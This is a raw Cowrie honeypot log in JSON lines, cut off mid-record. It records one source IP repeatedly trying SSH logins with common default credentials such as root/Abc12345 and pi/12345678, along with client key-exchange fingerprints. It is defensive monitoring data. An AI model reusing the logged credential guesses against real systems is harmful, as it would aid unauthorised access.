{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:46.050142Z","src_ip":"192.109.200.78","session":"b58da51b64c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58550,"dst_ip":"159.203.135.109","dst_port":23,"session":"5179a7c2fc0f","protocol":"telnet","message":"New connection: 172.81.62.90:58550 (159.203.135.109:23) [session: 5179a7c2fc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:46.078974Z"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:46.294070Z","src_ip":"192.109.200.78","session":"b58da51b64c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:47.377815Z","src_ip":"192.109.200.78","session":"b58da51b64c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41288,"dst_ip":"10.17.0.5","dst_port":22,"session":"da1941f437fd","protocol":"ssh","message":"New connection: 192.109.200.78:41288 (10.17.0.5:22) [session: da1941f437fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:49.107748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:49.112065Z","src_ip":"192.109.200.78","session":"da1941f437fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:49.192756Z","src_ip":"192.109.200.78","session":"da1941f437fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passwd","message":"login attempt [ansible/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:49.435470Z","src_ip":"192.109.200.78","session":"da1941f437fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:50.520554Z","src_ip":"192.109.200.78","session":"da1941f437fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42312,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca1bb28dc35","protocol":"ssh","message":"New connection: 192.109.200.78:42312 (10.17.0.5:22) [session: 7ca1bb28dc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:52.362380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:52.367661Z","src_ip":"192.109.200.78","session":"7ca1bb28dc35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:52.448955Z","src_ip":"192.109.200.78","session":"7ca1bb28dc35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:52.696470Z","src_ip":"192.109.200.78","session":"7ca1bb28dc35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:53.779921Z","src_ip":"192.109.200.78","session":"7ca1bb28dc35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42328,"dst_ip":"10.17.0.5","dst_port":22,"session":"c862592cab19","protocol":"ssh","message":"New connection: 192.109.200.78:42328 (10.17.0.5:22) [session: c862592cab19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:55.493285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:55.497028Z","src_ip":"192.109.200.78","session":"c862592cab19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:55.577946Z","src_ip":"192.109.200.78","session":"c862592cab19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:55.840840Z","src_ip":"192.109.200.78","session":"c862592cab19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:56.925275Z","src_ip":"192.109.200.78","session":"c862592cab19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42332,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c83e4b77ab","protocol":"ssh","message":"New connection: 192.109.200.78:42332 (10.17.0.5:22) [session: 00c83e4b77ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:58.625100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:58.726421Z","src_ip":"192.109.200.78","session":"00c83e4b77ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:58.733541Z","src_ip":"192.109.200.78","session":"00c83e4b77ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:28:59.064692Z","src_ip":"192.109.200.78","session":"00c83e4b77ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:00.149537Z","src_ip":"192.109.200.78","session":"00c83e4b77ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48756,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1586bed28f1","protocol":"ssh","message":"New connection: 192.109.200.78:48756 (10.17.0.5:22) [session: b1586bed28f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:01.868054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:01.872090Z","src_ip":"192.109.200.78","session":"b1586bed28f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:01.952642Z","src_ip":"192.109.200.78","session":"b1586bed28f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:02.197515Z","src_ip":"192.109.200.78","session":"b1586bed28f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:03.281179Z","src_ip":"192.109.200.78","session":"b1586bed28f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48764,"dst_ip":"10.17.0.5","dst_port":22,"session":"4685fc3c7b69","protocol":"ssh","message":"New connection: 192.109.200.78:48764 (10.17.0.5:22) [session: 4685fc3c7b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:04.976509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:04.983536Z","src_ip":"192.109.200.78","session":"4685fc3c7b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:05.156208Z","src_ip":"192.109.200.78","session":"4685fc3c7b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:05.422571Z","src_ip":"192.109.200.78","session":"4685fc3c7b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:06.506943Z","src_ip":"192.109.200.78","session":"4685fc3c7b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48770,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3fd17752f42","protocol":"ssh","message":"New connection: 192.109.200.78:48770 (10.17.0.5:22) [session: f3fd17752f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:08.295136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:08.299793Z","src_ip":"192.109.200.78","session":"f3fd17752f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:08.381235Z","src_ip":"192.109.200.78","session":"f3fd17752f42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:08.626331Z","src_ip":"192.109.200.78","session":"f3fd17752f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:09.710328Z","src_ip":"192.109.200.78","session":"f3fd17752f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48780,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ccfb35c907","protocol":"ssh","message":"New connection: 192.109.200.78:48780 (10.17.0.5:22) [session: b7ccfb35c907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:11.417942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:29:11.425480Z","src_ip":"192.109.200.78","session":"b7ccfb35c907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha